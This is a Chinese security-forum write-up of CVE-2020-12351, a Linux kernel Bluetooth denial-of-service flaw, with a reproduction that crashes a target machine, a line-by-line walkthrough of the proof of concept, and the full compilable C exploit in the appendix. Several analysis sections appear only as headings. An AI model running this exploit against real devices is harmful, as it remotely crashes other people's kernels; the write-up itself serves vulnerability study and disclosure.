本文为看雪论坛精华文章
看雪论坛作者ID:极目楚天舒
一. 漏洞信息
1. 漏洞简述
2. 漏洞原理
3. 影响和解决方案
二. 漏洞复现
图2-1
攻击者和目标机都运行在Ubuntu20.04 Linux kernel 5.4.0-42上,攻击者通过一些手段获知目标机的蓝牙地址BD(方法较为简单),在本地以root权限运行poc即可使目标机蓝牙服务崩溃。
首先,目标机需要开启蓝牙并且使得自身可以被发现和连接:
图2-2 目标机开启蓝牙
接下来在攻击机中输入命令“sudo ./poc 18:26:49:CD:09:E1”执行验证程序:
图2-3 发送恶意数据包
可以看到目标机已经崩溃转储重启:
三. 双机调试环境搭建
图3-1 连接示意图
攻击者向目标机发送恶意数据包导致目标机的蓝牙服务崩溃,调试机通过RS-232串口线连接到目标机使用KGDB对内核进行调试。
双机调试需要目标机支持KGDB调试,可以在内核编译时设置menuconfig打开支持选项。当前Ubuntu发行版内核已经默认开启了KGDB支持,通过命令“cat /boot/config-uname -r | grep -i GDB”查看可知当前内核支持KGDB以及串口调试。
1. 准备符号文件和内核源码文件
2. 配置目标机并建立调试会话
3. 注意事项
四. 蓝牙技术介绍
1. 经典蓝牙架构
2. HCI ACL数据包解析
|
|
|
|
|
|
|
|
|
|
五. PoC分析
公开PoC代码见附录2。
第10~52行代码用于生成L2CAP数据包的FCS校验码,与内核校验的逻辑完全相同所以直接从内核源码中截取,位置为linux-5.4/linux-5.4/lib/crc16.c 。
进入main函数,首先调用hci_open_dev打开一个与本地蓝牙模块通信的HCI层原始套接字,通过该套接字可以随意构造HCI数据包。
第93~114行代码生成一个L2CAP层套接字并与远程主机连接。该套接字的目的是生成一个远程连接句柄handle,后面把该handle提取出来组装到HCI原始套接字的数据包上。需要注意的是在蓝牙编程中,作为主动连接的一方也需要将套接字与本地地址绑定,这一点和基于TCP/IP的网络编程有点不同。
第116~123行调用getsockopt函数将L2CAP连接的handle提取出来。
第126~134行构造HCI ACL包的内层L2CAP包,其中L2CAP包头的CID字段设置为AMP_MGR_CID(0x3),计算L2CAP包除去FCS字段的crc校验码并添加到FCS字段。构造出来的L2CAP包如下:
图5-1 L2CAP数据结构
第149行调用自定义hci_send_acl_data函数将L2CAP包打包成HCI ACL数据包,最后通过HCI原始套接字发送。
hci_send_acl_data函数接收4个参数,hci_cocket是本地HCI原始套接字,hci_handle是已经建立的L2CAP连接的句柄,data是要发送的L2CAP数据包,data_length是L2CAP数据包的长度。
hci_handle和PC、BC标志组成HCI包头的handle字段,data_length初始化HCI包头的dlen字段。使用writev函数将HCI包头、L2CAP包打包后发送至HCI原始套接字,所以生成HCI ACL数据包是在writev完成的,其中打包的第一个字节为HCI_ACLDATA_PKT(0x2)表示这是一个ACL类型的HCI包。
构造好的HCI数据包通过HCI原始套接字发送到本地蓝牙模块,由模块中的固件识别、处理,交给基带发送到目标机。
图5-2 HCI ACL数据包
六、漏洞分析
1. 静态分析
图5-1 调用层次
2. 动态分析
七、参考资料
八. 附录
1. 资源下载
2. PoC.c
# Compiled with command “gcc -o poc poc.c -lbluetooth”
#
static uint16_t crc16_tab[256] = {
0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241,
0xc601, 0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440,
0xcc01, 0x0cc0, 0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40,
0x0a00, 0xcac1, 0xcb81, 0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841,
0xd801, 0x18c0, 0x1980, 0xd941, 0x1b00, 0xdbc1, 0xda81, 0x1a40,
0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01, 0x1dc0, 0x1c80, 0xdc41,
0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0, 0x1680, 0xd641,
0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081, 0x1040,
0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240,
0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441,
0x3c00, 0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41,
0xfa01, 0x3ac0, 0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840,
0x2800, 0xe8c1, 0xe981, 0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41,
0xee01, 0x2ec0, 0x2f80, 0xef41, 0x2d00, 0xedc1, 0xec81, 0x2c40,
0xe401, 0x24c0, 0x2580, 0xe541, 0x2700, 0xe7c1, 0xe681, 0x2640,
0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0, 0x2080, 0xe041,
0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281, 0x6240,
0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441,
0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41,
0xaa01, 0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840,
0x7800, 0xb8c1, 0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41,
0xbe01, 0x7ec0, 0x7f80, 0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40,
0xb401, 0x74c0, 0x7580, 0xb541, 0x7700, 0xb7c1, 0xb681, 0x7640,
0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101, 0x71c0, 0x7080, 0xb041,
0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0, 0x5280, 0x9241,
0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481, 0x5440,
0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40,
0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841,
0x8801, 0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40,
0x4e00, 0x8ec1, 0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41,
0x4400, 0x84c1, 0x8581, 0x4540, 0x8701, 0x47c0, 0x4680, 0x8641,
0x8201, 0x42c0, 0x4380, 0x8341, 0x4100, 0x81c1, 0x8081, 0x4040
};
uint16_t crc16(uint16_t crc, const void *buf, size_t size) {
const uint8_t *p;
p = buf;
while (size--)
crc = crc16_tab[(crc ^ (*p++)) & 0xFF] ^ (crc >> 8);
return crc;
} /*以上部分是从linux5.4源码中截取的FCS计算代码*/
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) {
uint8_t type = HCI_ACLDATA_PKT;
uint16_t BCflag = 0x0000;
uint16_t PBflag = 0x0002; /*表示是第一个L2CAP分组*/
uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F; /*填充HCI包头的PB、BC字段*/
hci_acl_hdr hdr;
hdr.handle = htobs(acl_handle_pack(hci_handle, flags)); /*合并成HCI包头的handle字段*/
hdr.dlen = data_length; /*填充HCI包头的净荷长度字段*/
struct iovec iv[3];
iv[0].iov_base = &type;
iv[0].iov_len = 1;
iv[1].iov_base = &hdr;
iv[1].iov_len = HCI_ACL_HDR_SIZE;
iv[2].iov_base = data;
iv[2].iov_len = data_length;
return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec)); /*HCI数据包通过原始套接字发送到远程*/
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s MAC_ADDRn", argv[0]);
return 1;
}
bdaddr_t dst_addr;
str2ba(argv[1], &dst_addr);
printf("[*] Resetting hci0 device...n");
system("sudo hciconfig hci0 down");
system("sudo hciconfig hci0 up");
printf("[*] Opening hci device...n");
struct hci_dev_info di;
int hci_device_id = hci_get_route(NULL);
int hci_socket = hci_open_dev(hci_device_id);
if (hci_devinfo(hci_device_id, &di) < 0) {
perror("hci_devinfo");
return 1;
}
printf("[*] Connecting to victim...n");
struct sockaddr_l2 laddr = {0};
laddr.l2_family = AF_BLUETOOTH;
laddr.l2_bdaddr = di.bdaddr;
struct sockaddr_l2 raddr = {0};
raddr.l2_family = AF_BLUETOOTH;
raddr.l2_bdaddr = dst_addr;
int l2_sock;
if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
perror("socket");
return 1;
}
if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
perror("bind");
return 1;
}
if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
perror("connect");
return 1;
}
struct l2cap_conninfo l2_conninfo;
socklen_t l2_conninfolen = sizeof(l2_conninfo);
if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) {
perror("getsockopt");
return 1;
}
uint16_t hci_handle = l2_conninfo.hci_handle;
printf("[+] HCI handle: %xn", hci_handle);
printf("[*] Sending malicious L2CAP packet...n");
struct {
l2cap_hdr hdr;
uint16_t ctrl;
uint16_t fcs;
} packet = {0};
packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);
packet.hdr.cid = htobs(AMP_MGR_CID);
packet.fcs = crc16(0, &packet, sizeof(packet) - 2);
hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));
close(l2_sock);
hci_close_dev(hci_socket);
return 0;
}
看雪ID:极目楚天舒
https://bbs.pediy.com/user-home-741085.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论